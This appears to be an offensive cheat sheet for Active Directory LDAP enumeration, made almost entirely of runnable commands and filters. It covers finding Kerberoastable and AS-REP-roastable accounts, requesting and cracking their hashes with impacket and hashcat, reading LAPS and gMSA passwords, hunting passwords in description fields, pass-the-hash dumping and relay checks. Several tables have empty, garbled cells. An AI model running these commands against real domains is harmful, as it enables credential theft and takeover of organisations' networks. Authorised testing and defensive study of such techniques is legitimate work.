LDAP enumeration and attacks against Active Directory - ldapsearch bind/filter syntax, high-value queries (SPNs, AS-REP, delegation, LAPS, gMSA), matching-rule OID bit filters, anonymous bind checks, and LDAP vs LDAPS vs Global Catalog.
# ldapsearch (OpenLDAP client)
sudo apt install ldap-utils # Debian/Kali
sudo pacman -S openldap # Arch
sudo emerge net-nds/openldap # Gentoo
# windapsearch (AD-focused LDAP enum)
git clone https://github.com/ropnop/go-windapsearch # Go rewrite (single binary)
# or the classic python version:
git clone https://github.com/ropnop/windapsearch
# ldapdomaindump (HTML/JSON/greppable dump)
pipx install ldapdomaindump
# NetExec ldap module
pipx install netexec
| Port | Service | Notes |
|---|---|---|
389 |
Cleartext or StartTLS on same port | |
636 |
LDAP wrapped in SSL/TLS | |
3268 |
Forest-wide partial replica (LDAP) | |
3269 |
Global Catalog wrapped in TLS | |
88 |
Kerberos | Needed for -k GSSAPI binds |
| Bind | ldapsearch flag | Notes |
|---|---|---|
| Anonymous | -x (no -D) |
|
| Simple (cleartext) | -x -D <dn/upn> -w <pw> |
|
| NTLM/GSSAPI | -Y GSSAPI (needs ticket) |
|
| StartTLS | -Z / -ZZ (force) |
Upgrade 389 to TLS |
# General shape: ldapsearch -x -H <uri> -D <bindDN> -w <pw> -b <baseDN> "<filter>" [attrs...]
ldapsearch \
-x \ # simple authentication
-H ldap://10.0.0.1 \ # target DC (ldaps://host:636 for TLS)
-D 'CORP\jdoe' \ # bind: DOMAIN\user, [email protected], or full DN
-w 'Passw0rd!' \ # password (-W prompt, -y file for a pw file)
-b 'dc=corp,dc=local' \ # search base (the domain naming context)
-s sub \ # scope: base | one | sub (default sub)
-LLL \ # clean LDIF: no comments, no version line
-o ldif-wrap=no \ # never wrap long attribute values
'(objectClass=user)' \ # the search filter
sAMAccountName description # only return these attributes (omit = all)
# Bind identity accepted by AD:
# -D 'CORP\jdoe' (NetBIOS)
# -D '[email protected]' (UPN, easiest)
# -D 'cn=jdoe,cn=Users,dc=corp,dc=local' (full DN)
# Paged results (AD caps at 1000 objects per response - always page big queries)
ldapsearch -x -H ldap://10.0.0.1 -D '[email protected]' -w 'Passw0rd!' \
-b 'dc=corp,dc=local' -E pr=1000/noprompt '(objectClass=user)' sAMAccountName
# Kerberos bind (needs a valid TGT in KRB5CCNAME + working /etc/krb5.conf)
export KRB5CCNAME=/tmp/jdoe.ccache
ldapsearch -Y GSSAPI -H ldap://dc01.corp.local -b 'dc=corp,dc=local' '(objectClass=user)'
# RootDSE is readable without credentials - grab the naming contexts first
ldapsearch -x -H ldap://10.0.0.1 -s base -b '' \
defaultNamingContext rootDomainNamingContext configurationNamingContext \
namingContexts dnsHostName
# defaultNamingContext -> dc=corp,dc=local (use as -b)
# configurationNamingContext -> CN=Configuration,DC=corp,DC=local
# Count objects only (no attributes, useful to size a query)
ldapsearch -x ... '(objectClass=user)' dn | grep -c '^dn:'
# Decode base64 attributes ldapsearch prints (objectSid, ntSecurityDescriptor)
ldapsearch -x ... '(sAMAccountName=jdoe)' objectSid | grep objectSid: \
| cut -d' ' -f2 | base64 -d | xxd
# Query the Global Catalog for a forest-wide search (partial attrs only)
ldapsearch -x -H ldap://10.0.0.1:3268 -D '[email protected]' -w 'Passw0rd!' \
-b '' '(sAMAccountName=administrator)' sAMAccountName
# 1. RootDSE - almost always allowed, confirms host is a DC and gives naming contexts
ldapsearch -x -H ldap://10.0.0.1 -s base -b '' '(objectClass=*)' '*' +
# 2. Full anonymous bind over the domain NC (usually denied on modern AD, but test it)
ldapsearch -x -H ldap://10.0.0.1 -b 'dc=corp,dc=local' '(objectClass=user)' sAMAccountName
# Success -> anonymous LDAP read (misconfig / legacy dSHeuristics)
# Result 1 (Operations error) / "successful bind must be completed" -> anonymous denied
# 3. NetExec quick check across a range
nxc ldap 10.0.0.0/24 -u '' -p '' # null bind
nxc ldap 10.0.0.0/24 -u guest -p '' # guest fallback
# 4. Look for the dSHeuristics anonymous-read flag (7th char = 2 enables it)
ldapsearch -x -H ldap://10.0.0.1 -b \
'CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local' \
'(objectClass=*)' dSHeuristics
# 5. nmap NSE enumeration on a null bind
nmap -p 389 --script ldap-rootdse,ldap-search 10.0.0.1
# LDAP signing not enforced -> LDAP relay is possible (ntlmrelayx -t ldap://dc)
nxc ldap 10.0.0.1 -u user -p pass -M ldap-checker
# Output flags:
# LDAP Signing NOT Enforced -> relay to 389 works
# LDAPS Channel Binding NOT Enforced -> relay to 636 works
AD exposes special matching-rule OIDs so you can filter on individual bits of an integer attribute (like userAccountControl) or walk group nesting. Syntax is attribute:<OID>:=<value>.
| OID | Name | Meaning |
|---|---|---|
1.2.840.113556.1.4.803 |
LDAP_MATCHING_RULE_BIT_AND | |
1.2.840.113556.1.4.804 |
LDAP_MATCHING_RULE_BIT_OR | Bitwise OR - value has ANY of these bits |
1.2.840.113556.1.4.1941 |
LDAP_MATCHING_RULE_IN_CHAIN | |
1.2.840.113556.1.4.2253 |
LDAP_MATCHING_RULE_DN_WITH_DATA | Match DN-binary syntax attributes |
2.5.13.5 |
caseExactMatch | Standard exact string match |
2.5.13.2 |
caseIgnoreMatch | Standard case-insensitive match |
# Bitwise AND: accounts with DONT_REQ_PREAUTH (0x400000 = 4194304) set -> AS-REP roastable
'(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
# Bitwise OR: accounts that are disabled OR password-not-required (2 | 32 = 34)
'(userAccountControl:1.2.840.113556.1.4.804:=34)'
# IN_CHAIN: every user in Domain Admins including via nested groups
'(memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=corp,DC=local)'
Combine any of these with the :1.2.840.113556.1.4.803:= bitwise-AND rule to filter accounts by property.
| Decimal | Hex | Flag | Attack relevance |
|---|---|---|---|
2 |
0x0002 | ACCOUNTDISABLE | Exclude disabled: (!(...:=2)) |
32 |
0x0020 | PASSWD_NOTREQD | |
512 |
0x0200 | NORMAL_ACCOUNT | Regular user object |
4096 |
0x1000 | WORKSTATION_TRUST_ACCOUNT | Computer object |
8192 |
0x2000 | SERVER_TRUST_ACCOUNT | Domain controller |
65536 |
0x10000 | DONT_EXPIRE_PASSWORD | |
262144 |
0x40000 | SMARTCARD_REQUIRED | Cert/smartcard logon |
524288 |
0x80000 | TRUSTED_FOR_DELEGATION | |
1048576 |
0x100000 | NOT_DELEGATED | Protected ("sensitive") account |
2097152 |
0x200000 | USE_DES_KEY_ONLY | |
4194304 |
0x400000 | DONT_REQ_PREAUTH | |
16777216 |
0x1000000 | TRUSTED_TO_AUTH_FOR_DELEGATION |
# All users (objectCategory is indexed -> faster than objectClass=user alone)
ldapsearch -x ... -b 'dc=corp,dc=local' \
'(&(objectCategory=person)(objectClass=user))' sAMAccountName userPrincipalName
# Enabled users only (exclude the ACCOUNTDISABLE bit)
'(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
# All groups + their members
ldapsearch -x ... '(objectClass=group)' sAMAccountName member
# Members of Domain Admins (direct)
'(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)'
# All computers + OS version (spot legacy Windows)
ldapsearch -x ... '(objectClass=computer)' \
name dNSHostName operatingSystem operatingSystemVersion
# Domain Controllers (UAC SERVER_TRUST_ACCOUNT bit)
'(userAccountControl:1.2.840.113556.1.4.803:=8192)'
# Password policy (domain root object)
ldapsearch -x ... -s base -b 'dc=corp,dc=local' \
minPwdLength maxPwdAge lockoutThreshold pwdProperties
# Kerberoastable: user accounts with an SPN (skip krbtgt and disabled accounts)
ldapsearch -x ... -b 'dc=corp,dc=local' \
'(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName servicePrincipalName
# AS-REP roastable: DONT_REQ_PREAUTH set (Kerberos pre-auth disabled)
ldapsearch -x ... -b 'dc=corp,dc=local' \
'(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
# Then feed to the roasters (impacket) and crack with hashcat
impacket-GetUserSPNs corp.local/jdoe:'Passw0rd!' -dc-ip 10.0.0.1 -request
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 13100 tgs.txt rockyou.txt # Kerberoast (TGS-REP)
hashcat -m 18200 asrep.txt rockyou.txt # AS-REP
# Unconstrained delegation (TRUSTED_FOR_DELEGATION) - compromise = capture any TGT
ldapsearch -x ... -b 'dc=corp,dc=local' \
'(userAccountControl:1.2.840.113556.1.4.803:=524288)' \
sAMAccountName dNSHostName
# Constrained delegation - accounts with msDS-AllowedToDelegateTo populated
ldapsearch -x ... '(msDS-AllowedToDelegateTo=*)' \
sAMAccountName msDS-AllowedToDelegateTo
# Resource-Based Constrained Delegation (RBCD) - who can act on this object
ldapsearch -x ... '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' \
sAMAccountName msDS-AllowedToActOnBehalfOfOtherIdentity
# Protocol transition (S4U2Self) - constrained deleg with "any auth protocol"
'(userAccountControl:1.2.840.113556.1.4.803:=16777216)'
# description / info fields - admins love parking passwords here
ldapsearch -x ... '(&(objectCategory=person)(objectClass=user)(description=*))' \
sAMAccountName description
ldapsearch -x ... '(info=*)' sAMAccountName info
# adminCount=1 - accounts (once) protected by AdminSDHolder, usually privileged
ldapsearch -x ... '(&(objectClass=user)(adminCount=1))' sAMAccountName memberOf
# LAPS legacy (ms-Mcs-AdmPwd) - cleartext local admin pw if you can read it
ldapsearch -x ... '(ms-Mcs-AdmPwd=*)' \
sAMAccountName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
# LAPS v2 (Windows LAPS) - encrypted blob + cleartext attribute names
ldapsearch -x ... '(msLAPS-Password=*)' sAMAccountName msLAPS-Password
ldapsearch -x ... '(msLAPS-EncryptedPassword=*)' sAMAccountName msLAPS-EncryptedPassword
# gMSA accounts - msDS-ManagedPassword blob readable by allowed principals
ldapsearch -x ... '(objectClass=msDS-GroupManagedServiceAccount)' \
sAMAccountName msDS-GroupMSAMembership msDS-ManagedPassword
# userPassword / unixUserPassword (rare, but jackpot when present)
ldapsearch -x ... '(userPassword=*)' sAMAccountName userPassword
# Base auth (Go build: go-windapsearch; python: windapsearch.py, same flags)
windapsearch -d corp.local --dc 10.0.0.1 -u '[email protected]' -p 'Passw0rd!' -m users
# Handy built-in modules (-m):
windapsearch ... -m users # all users
windapsearch ... -m groups # all groups
windapsearch ... -m computers # all computers
windapsearch ... -m domain-admins # members of Domain Admins (recursive)
windapsearch ... -m privileged-users # members of all privileged groups
windapsearch ... -m unconstrained # unconstrained delegation objects
windapsearch ... -m gpos # group policy objects
windapsearch ... -m spns # service accounts (Kerberoast targets)
windapsearch ... -m as-rep-roastable # DONT_REQ_PREAUTH users
# Anonymous / unauthenticated enum
windapsearch -d corp.local --dc 10.0.0.1 -m users
# Custom raw filter + specific attributes
windapsearch ... --custom '(servicePrincipalName=*)' --attrs sAMAccountName,servicePrincipalName
# Full unfiltered dump to a file
windapsearch ... -m users --full -o users.txt
# Dumps users/groups/computers/policy/trusts to HTML + greppable + JSON
ldapdomaindump -u 'CORP\jdoe' -p 'Passw0rd!' -o loot/ ldap://10.0.0.1
# Over LDAPS
ldapdomaindump -u 'CORP\jdoe' -p 'Passw0rd!' -o loot/ ldaps://10.0.0.1
# Pass-the-hash (NT hash, no plaintext)
ldapdomaindump -u 'CORP\jdoe' -p 'aad3b...:c0889...' --authtype NTLM -o loot/ ldap://10.0.0.1
# Resolve computer hostnames to IPs while dumping
ldapdomaindump -u 'CORP\jdoe' -p 'Passw0rd!' -r -o loot/ ldap://10.0.0.1
| File | Contents |
|---|---|
domain_users.html |
|
domain_computers.html |
Computers, OS, delegation |
domain_groups.html |
Groups and membership |
domain_policy.html |
Password / lockout policy |
domain_trusts.html |
|
*_by_group.html |
Users grouped by their group memberships |
# Basic bind test
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!'
# Users / groups / computers / active-only
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --users
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --active-users
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --groups
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --computers
# Property hunts
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --admin-count # adminCount=1
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --password-not-required # PASSWD_NOTREQD
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --trusted-for-delegation # unconstrained
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --find-delegation # all delegation
# Description-field password hunt
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' -M get-desc-users
# Roasting straight from LDAP
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --kerberoasting kerb.txt
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --asreproast asrep.txt
# Secrets: LAPS, gMSA
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' -M laps
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' --gmsa
# Signing / channel-binding relay check + BloodHound collection
nxc ldap 10.0.0.1 -u jdoe -p 'Passw0rd!' -M ldap-checker
nxc ldap dc01.corp.local -u jdoe -p 'Passw0rd!' --bloodhound -c All --dns-server 10.0.0.1
| Aspect | LDAP (389/636) | Global Catalog (3268/3269) |
|---|---|---|
| Scope | Single domain | |
| Attributes | Partial (PAS) subset only | |
| Writable | Yes | Read-only |
| Base DN | Domain NC (dc=corp,dc=local) |
'' searches all NCs |
| Best for | Deep attribute reads, writes | Forest-wide account/SPN discovery |
# Forest-wide search for an account across every domain (empty base on GC)
ldapsearch -x -H ldap://10.0.0.1:3268 -D '[email protected]' -w 'Passw0rd!' \
-b '' '(&(objectClass=user)(sAMAccountName=administrator))' \
sAMAccountName distinguishedName
# GC over TLS
ldapsearch -x -H ldaps://10.0.0.1:3269 -D '[email protected]' -w 'Passw0rd!' \
-b '' '(servicePrincipalName=*)' sAMAccountName servicePrincipalName
# NOTE: msDS-ManagedPassword / ms-Mcs-AdmPwd are NOT in the GC partial set -
# read those over standard LDAP (389/636) against the domain that owns the object.
# Ignore self-signed cert validation for the LDAPS bind (labs/pentests)
LDAPTLS_REQCERT=never ldapsearch -x -H ldaps://10.0.0.1 \
-D '[email protected]' -w 'Passw0rd!' -b 'dc=corp,dc=local' '(objectClass=user)'
# StartTLS on port 389 (-ZZ forces the upgrade, fails if unavailable)
LDAPTLS_REQCERT=never ldapsearch -x -ZZ -H ldap://10.0.0.1 \
-D '[email protected]' -w 'Passw0rd!' -b 'dc=corp,dc=local' '(objectClass=user)'
# Grab the DC LDAPS certificate (SANs often leak hostnames / other DCs)
openssl s_client -connect 10.0.0.1:636 -showcerts </dev/null 2>/dev/null \
| openssl x509 -noout -text | grep -A1 'Subject Alternative Name'
| Goal | Filter |
|---|---|
| All enabled users | (&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) |
| Kerberoastable | (&(objectClass=user)(servicePrincipalName=*)(!(sAMAccountName=krbtgt))) |
| AS-REP roastable | (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) |
| Password not required | (userAccountControl:1.2.840.113556.1.4.803:=32) |
| Password never expires | (userAccountControl:1.2.840.113556.1.4.803:=65536) |
| Unconstrained delegation | (userAccountControl:1.2.840.113556.1.4.803:=524288) |
| Constrained delegation | (msDS-AllowedToDelegateTo=*) |
| RBCD configured | (msDS-AllowedToActOnBehalfOfOtherIdentity=*) |
| adminCount protected | (adminCount=1) |
| Nested Domain Admins | (memberOf:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=corp,DC=local) |
| Computers (all) | (objectClass=computer) |
| Domain Controllers | (userAccountControl:1.2.840.113556.1.4.803:=8192) |
| gMSA accounts | (objectClass=msDS-GroupManagedServiceAccount) |
| LAPS readable | (ms-Mcs-AdmPwd=*) |
| Trust accounts | (userAccountControl:1.2.840.113556.1.4.803:=2048) |